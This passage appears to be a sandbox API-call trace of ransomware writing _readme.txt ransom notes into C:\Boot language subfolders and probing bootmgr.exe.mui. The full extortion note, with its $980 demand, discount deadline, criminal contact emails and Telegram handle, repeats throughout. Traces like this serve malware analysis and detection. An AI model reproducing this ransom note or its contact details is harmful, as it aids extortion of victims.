account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.858] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.858] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.859] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.859] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0119.859] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.859] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.859] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.859] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.859] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0119.859] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.859] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.859] PathFindFileNameW (pszPath="") returned="" [0119.859] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.860] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.860] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.860] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.860] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0119.860] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0119.860] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.860] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.860] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.860] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.860] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0119.861] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.861] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.861] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.861] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.861] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0119.861] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.861] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.861] PathFindFileNameW (pszPath="") returned="" [0119.861] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.861] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.861] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.861] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.862] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0119.862] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0119.862] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.862] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.862] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.862] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.862] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0119.862] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.862] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.862] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.863] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.863] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0119.863] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.863] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.863] PathFindFileNameW (pszPath="") returned="" [0119.863] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.863] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.863] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.863] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.863] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0119.863] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0119.863] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.864] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your 